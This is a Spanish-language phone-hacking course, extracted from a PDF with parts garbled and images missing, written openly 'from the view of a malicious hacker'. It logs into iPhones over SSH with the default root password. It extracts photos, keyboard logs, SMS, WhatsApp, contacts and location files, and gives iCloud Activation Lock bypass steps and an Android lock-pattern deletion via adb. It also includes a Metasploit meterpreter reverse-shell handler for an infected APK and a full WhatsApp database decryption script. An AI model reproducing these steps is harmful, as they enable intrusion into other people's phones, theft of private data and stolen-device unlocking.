Documentos de Académico
Documentos de Profesional
Documentos de Cultura
del
documento]
-Hackeo de dispositivos iOS
-Hackeo de dispositivos Android
1.Escaneando la red.
Para poder identificar si dentro de nuestra red se encuentra conectado un
dispositivo iOS al que podamos intentar vulnerar necesitaremos hacer un
escaneo de la misma, para lo cual podemos usar aplicaciones conocidas
como escneres de red. Haremos un escaneo con 2 herramientas muy tiles
para nuestro propsito. Empezaremos con un programa llamado Zenmap,
que es la GUI del conocido Nmap. (disponible para Windows, mac y Linux)
Por lo general este tipo de escaneos tiende a ser un poco tardado, slo es cuestin de
ser paciente y dejar que el programa haga lo suyo. Una vez terminado el escaneo,
encontramos que hay un dispositivo con iOS dentro de nuestra red y que aparte est con
el puerto 22 abierto corriendo el servicio de Open SSH. QUE SUERTE! :D
Como alternativa a Zenmap (Nmap) podramos usar una app llamada Fing la cual est
disponible tanto en la App Store como en la Google Play Store, la cual con solo un toque
empezar a escanear nuestra red local en busca de todos los dispositivos conectados a
la misma. De igual forma podremos encontrar los dispositivos iOS que estn conectados.
ANDROID
iOS
Una vez que tenemos nuestro target que encontramos gracias a los
escaneos procederemos a utilizar el framework metasploit para intentar
vulnerar el Open SSH del dispositivo.
2. Vulnerando con metasploit
Iniciamos el framework metasploit:
ssh root@10.210.16.103
Nos pedir la contrasea para el usuario root, la cual sabemos que es alpine y una vez
dentro pondremos en la consola pwd para saber donde estamos situados:
10
4. Las siguientes pestaas las dejaremos tal y como estn y enseguida nos
dirigiremos a la pestaa de START y lanzaremos el ataque, si este llega a
ser exitoso con algn password de la lista que utilizamos el programa nos lo
indicar de inmediato.
11
3. Postexplotacin
Una vez estando dentro del dispositivo vctima podremos hacer muchas cosas. Dentro
de este curso daremos un recorrido rpido por las acciones ms comunes que se
podran realizar desde un punto de vista de un hacker malicioso.
Tecleando help dentro de la consola nos aparecern una serie de comandos que
podremos usar dentro de nuestro dispositivo, sin embargo, no vamos a profundizar en
cada uno de ellos ya que es una lista larga.
12
Configurando el SSH:
Para hacer esta documentacin mas completa incluir a continuacin una forma rpida
de activar ese servidor en la distribucin Kali Linux y Mac OS X ya que esta
herramienta nos servir para extraer los archivos del dispositivo vulnerado.
OK, empecemos con la configuracin del servidor SSH. En mi caso estar usando una
mquina virtual de Kali Linux.
13
Primero necesitars verificar si tu mquina tiene activo algn servicio de SSH activo, para
lo cual pondremos el siguiente comando en la consola:
En este caso ya estaba instalado previamente el servidor y el cliente. Para iniciar los
servicios SSH pondremos en la consola root@kali~# service ssh start y para
checar que el servicio est activo pondremos root@kali~# service ssh status
14
15
Una vez terminada la transferencia revisamos nuestra carpeta de destino donde elegimos
guardar la foto y listo, de la misma forma pueden seguir robando mas fotos o videos:
16
2. Keylogger
Algo muy interesante, iOS almacena en texto plano una especie de registro con las
palabras usadas, algo sin duda muy til si estamos en busca de contraseas ;)
La ruta donde se encuentra estos archivos es:
/private/var/mobile/Library/Keyboard/es_ES-dynamic-text.dat
y dentro de ella podremos encontrar los archivos es_ES-dynamic-text.dat
y dynamic-text.dat
Usaremos el mismo comando del ejemplo pasado para extraer los archivos y veamos
que contienen.
17
Abriendo el archivo con un editor de texto nos muestra en texto plano las palabras que
se han escrito desde el teclado del dispositivo (por privacidad esta imagen la puse
borrosa)
18
Una vez extraido el archivo segn sea el caso, lo abriremos con un gestos de bases
SQLite y observaremos algo as:
19
Si seguimos mirando ms tablas podemos ver todo: contactos, nmeros de telfono, mensajes
enviados y recibidos, las fechas....
Tambien encontramos que hay otra base sqlite con todos los contactos en la misma ruta
pero con el nombre de Contacts.sqlite
20
Tambin podremos usar una herramienta web para interpretar la base de datos sqlite sin
necesidad de tener un programa. En la pgina de http://www.recovermessages.com
podremos subir nuestra bd y se generarn las tablas con la informacin correspondiente
y lo mejor es que no solo nos sirve para interpretar la base de datos del whatsapp sino
tambin las bases de: WhatsApp Android, WhatsApp IPhone, Tuenti IPhone,
SpotBros IPhone, Line IPhone, SMS Android, SMS IPhone, EMails Android, EMails
IPhone.
21
5. Twitter
En el siguiente archivo podemos obtener datos datos como nombre de usuario en twitter,
ltimas bsquedas y tweets...
/private/var/mobile/Applications/(ruta que vara)/Library/Preferences\com.atebits.Tweetie2.plist
6. SMS (iPhone)
/private/var/mobile/Library/SMS sms.db
7. Localizaciones
/private/var/root/Library/Caches/locationd/consolidate.db
8. Mails
/private/var/mobile/Library/Mail
9. Preferencias de aplicaciones
/private/var/mobile/Library/Preferences
10. Lista de contactos
/private/var/mobile/Library/AddressBook
Y muchas ms rutas!!!
Esto es solo un pequeo ejemplo de algunas cosas que podemos ver. Por supuesto
hay muchas ms rutas y si las mirsemos todas estaramos aqu un buen rato as
que aqu slo les dej algunas de las ms interesantes, si quieren obtener mas,
sera cuestin de que ustedes mismos investiguen.
22
Mucho se ha hablado sobre la posibilidad de quitar el famoso sistema de seguridad dentro de iOS 7 que
consiste en el bloqueo del equipo que corra dicho sistema mediante la cuenta iCloud del usuario dueo. En
muchos sitios en internet se especula sobre diversos mtodos y herramientas para lograr burlar o desactivar
este bloqueo. En las siguientes pginas se mostrarn algunos de ellos, as como, los bugs dentro de iOS 7 que
te permitirn borrar las cuentas de iCloud sin necesidad de usar ningn tipo de tolos.
2.1 Mtodo hacktivate (compatible nicamente con iPhone 4)
Este mtodo se basa en la utilizacin de una herramienta que mediante el uso del modo DFU del iPhone 4 se
explota una vulnerabilidad en el procesador del dispositivo teniendo la posibilidad de instalarle el servidor ssh y
de esa forma borrar los archivos de configuracin donde se encuentra almacenada la cuenta iCloud. Cabe
aclarar que este mtodo se realizar dentro del sistema operativo Windows. EMPECEMOS!
23
2. Descarga e instala la tool iOS Soft Dev Pack + JB iOS 7.1 V2 y ejectala.
(para realizar la instalacin de la tool es necesario contar con .net
framework 3.5 o superior instalado)
Seleccionamos
24
25
26
27
Como se menciona en el texto anterior, se tiene que seleccionar al mismo tiempo las opciones de desactivar
Find my iPhone y Delete Account
Posteriormente aparecer una pantalla como esta donde parecieran estar amontonadas las opciones de
desactivar Find my iPhone con la de borrar la cuenta iCloud, felicidades, si te apareci algo como esto lo nico
que tienes que hacer es reiniciar el dispositivo, (en este punto podremos notar que la opcin de Find my iPhone
ya se encuentra desactivada) nos dirigiremos de nuevo a la configuracin de iCloud y ahora seleccionaremos
Eliminar cuenta si lo notas ahora no nos pedir la contrasea de la cuenta iCloud para eliminarla e incluso la
medida de seguridad conocida como Activation Lock tambin desaparecer.
28
Posteriormente presionaremos Delete Account, enseguida Delete otra vez, muy importante, durante la
animacin en la que aparece la segunda opcin para confirmar el borrado de la cuenta es necesario mover el
switch de find my iPhone como si lo fueramos a DESACTIVAR, y una vez presionado Delete from My iPhone
hacer lo mismo. Cuando el sistema te pida la contrasea daremos en cancel y si hiciste bien el procedimiento
ahora el switch de Find my iPhone quedar parcialmente desactivado
29
Lo siguiente que tendremos que hacer ser entrar a la pestaa de la cuenta iCloud donde se encuentra el
correo y la contrasea. Borraremos el password y la palabra iCloud y apretaremos en done, nos mandar un
mensaje de error y repetiremos este procedimiento 2 veces en total. Una vez terminado daremos en cancel
Enseguida volveremos a entrar a esa pestaa y escribiremos en el espacio que qued en blanco la palabra
iCloud y listo, cuando quieran borrar la cuenta iCloud del dispositivo no deber ser necesario introducir la
contrasea.
30
Volvemos a entrar a la pestaa per ahora borraremos la palabra iCloud y dejaremos el espacio en blanco, una
vez que apretemos done podremos observar que el switch de Find my iPhone estar desactivado y que
incluso podremos borrar la cuenta iCloud sin necesidad de la contrasea
31
32
En este mdulo se detallar como lograr un bypass al patrn de desbloqueo de un mobil con
android. Un requisito para que este mtodo sea exitoso es que el mobil est rooteado y
tenga el debbuging mode encendido.
Por lo general hay un gran porcentaje de personas que al hacerle root a sus dispositivos
dejan el modo debugging encendido y lo olvidan por completo, esto puede representar una
amenaza (o una ventaja) dependiendo del uso que le quieran dar a este mtodo, ya sea para
saltarse el patrn de desbloqueo en caso de que lo hayan olvidado o para saltrselo en caso
de ser una persona con malas intenciones hacia el dispositivo.
Primero instalaremos el adb de android que es la herramienta utilizada por los
desarrolladores de la plataforma para diferentes propsitos, en este caso, nos enfocaremos
en borrar los archivos que contienen la informacin correspondiente al patrn de bloqueo.
33
Mac osx:
Descargaremos el paquete oficial desde la web de android
http://dl.google.com/android/adt/22.6.2/adt-bundle-mac-x86_64-20140321.zip , de igual
forma lo descomprimiremos dentro de nuestra carpeta de usuario, en este caso la ma es
/Users/drummerwolf/android
Crearemos nuestra variables de entorno:
1. Primero debemos crear un fichero para el usuario actual. Para ello abrimos el terminal y
nos posicionamos en la carpeta Home. (/Users/XXX/)
Una vez dentro ejecutamos el siguiente comando:
touch .bash_profile
Esto nos generar un fichero con el mismo nombre.
Ahora abrimos el fichero con el editor de texto, para ello ejecutamos el siguiente comando:
open -e .bash_profile
Aqu agregamos la ruta a nuestro adb dentro del directorio de nuestro paquete de android
descargado anteriormente:
export PATH=${PATH}:/Android/adt-bundle-mac/sdk/platform-tools
Esto nos permitir utilizar el comando adb, desde cualquier sitio en Terminal.
Ahora reiniciamos las variables de entorno con:
source .bash_profile
34
Windows:
Descargamos el paquete oficial en el link
http://developer.android.com/sdk/index.html?hl=sk#win-bundle seleccionamos nuestro
paquete correspondiente a la arquitectura de nuestro procesador si este es de 32 o 64 bits.
Lo descomprimimos y renombramos la carpeta a algo mas simple como android esto nos
facilitar ms el crear nuestras variables de entorno. Una vez teniendo la carpeta la
moveremos al directorio raz de nuestra unidad de disco duro, en este caso mi ruta sera C:
Nos dirigiremos a men de inicio:
click derecho en equipo>propiedades
configuracin avanzada del sistema
35
Damos click en aceptar y LISTO, ahora puedes teclear los comandos de adb dentro de
smbolo del sistema sin ningn problema.
36
3. Nos dirigiremos a la ruta /data/system/ y una vez ah dentro podremos observar que
existen varios archivos, entre ellos se encuentra el que contiene la configuracin del patrn
de desbloqueo, este archivo puede llamarse gesture.key o (locksettings.db,
locksettings.db-wal y locksettings.db-shm) lo que haremos ser borrarlo con el
comando rm y enseguida el nombre y extensin del archivo.
37
5. Listo, el patrn de desbloqueo ha sido borrado y una vez reiniciado el dispositivo basta
con que hagas un toque en la pantalla de desbloqueo o simplemente deslices tu dedo y
tendrs acceso al dispositivo.
38
39
2. Tengamos en cuenta los datos de conexin que usaremos para la creacin de nuestra
.apk.
40
5. En este caso para la explotacin usaremos un dispositivo Android xperia pro modelo
mk16a.
41
./msfcli
exploit/multi/handler
PAYLOAD=android/meterpreter/reverse_tcp
LHOST=IP_LOCAL/NO-IP
LPORT=PUERTO
E
./msfcli
exploit/multi/handler
PAYLOAD=android/meterpreter/reverse_tcp
LHOST=10.210.45.38
LPORT=6789
E
(Si la app fue ejecutada dentro del dispositivo infectado debemos tener xito al ejecutar el
comando)
Para darnos una idea de lo que podemos ejecutar dentro de la Shell meterpreter
teclearemos el comando help
42
Description
----------Help menu
Backgrounds the current session
bgkill
bglist
bgrun
channel
close
Closes a channel
help
Help menu
info
interact
irb
load
quit
read
resource
run
use
write
Description
43
-------
-----------
cat
cd
Change directory
download
edit
getlwd
getwd
lcd
lpwd
ls
mkdir
Make directory
pwd
rm
rmdir
Remove directory
search
upload
Description
-------
-----------
ifconfig
Display interfaces
ipconfig
Display interfaces
portfwd
route
Description
44
-------
-----------
execute
Execute a command
getuid
ps
shell
sysinfo
Description
-----------
record_mic
45
46
47
En donde in va a corresponder al nombre del archive de nuestra base que descargamos, -out sera el
nombre del archivo que le daremos de salida y K sera la llave universal que se usa para desencriptar
la base de datos
48
Para las versiones mas nuevas de Whatsapp la base de datos se encuentra encriptada de
forma diferente y esta tiene una terminacin .crypt5
Para lograr desencriptarla usaremos un scrypt en python , sin embargo, para que este tenga
xito ser necesario que sepamos la cuenta gmail asiociada a la terminal android
pwncrypt5.py
49
#!/usr/bin/python
"""
48bits
presents:
8===============================================D~~~
WhatsApp
msgstore
crypt5
decryptor
by
grbnz0
and
nullsub
8===============================================D~~~
"""
import
sys
import
hashlib
import
StringIO
from
M2Crypto
import
EVP
key
=
bytearray([141,
75,
21,
92,
201,
255,
129,
229,
203,
246,
250,
120,
25,
54,
106,
62,
198,
33,
166,
86,
65,
108,
215,
147])
iv
=
bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0x
BB,0xB6,0xB0,0xB9])
def
decrypt(db,acc):
fh
=
file(db,'rb')
edb
=
fh.read()
fh.close()
m
=
hashlib.md5()
m.update(acc)
md5
=
bytearray(m.digest())
for
i
in
xrange(24):
key[i]
^=
md5[i&0xF]
cipher
=
EVP.Cipher('aes_192_cbc',
key=key,
iv=iv,
op=0)
sys.stdout.write(cipher.update(edb))
sys.stdout.write(cipher.final())
if
__name__
==
'__main__':
if
len(sys.argv)
!=
3:
print
'usage
%s
<db>
<accountname>
>
decrypted.db'
%
sys.argv[0]
else:
decrypt(sys.argv[1],sys.argv[2])
50
Una de las alternatvas para poder desencriptar la base de datos es usando el sitio web
https://www.recovermessages.com el cual har todo el proceso por nosotros, sin embargo, si
queremos ver la base de datos completa ser necesario hacer un pequeo pago.
Gonzalo Snchez Surez - Drummer Wolf
51
Listo!
Nuestra
base
de
datos
ha
sido
desencriptada
y
lista
para
ser
leida
Gonzalo Snchez Surez - Drummer Wolf
52
53
Por
lo
regular
la
configuracin
del
modem
es
a
travs
de
la
ip
192.168.1.254
(obviamente
debemos
estar
conectados)
Abrimos
nuestro
navegador
y
nos
dirigimos
a
la
direccin
192.168.1.254
en
algunos
mdems
nos
pedir
el
usuario
,
el
cual
es
Telmex
y
la
contrasea
es
la
clave
wep.
54
55
56
Una
vez
hecho
esto
Reiniciamos
el
modem
para
que
se
apliquen
los
cambios.
57
Con
esto
ya
tenemos
todos
los
puertos
abiertos
,
pero
que
pasa
si
reinicio
mi
modem
y/o
se
va
la
luz?
,
es
claro
que
la
ip
va
a
cambiar
y
la
Gonzalo Snchez Surez - Drummer Wolf
58
59
60
61
Sin embargo, todas estas funciones tan tiles no son grtis. El nico requerimiento para
poder explotar todo el potencial de la aplicacin es mediante el NICO pago de 2.99
vendra siendo el equivalente a $54 pesos mexicanos, este ser el nico pago que se
tendra que hacer para la creacin de la cuenta y esta es de por vida.
A continuacin se muestran algunos ejemplos de la app en accin.
62
Toda la informacin del dispositivo puede ser vista mediante la pgina web de
www.cerberusapp.com y esta a su vez mandar correos al que se us para el registro
63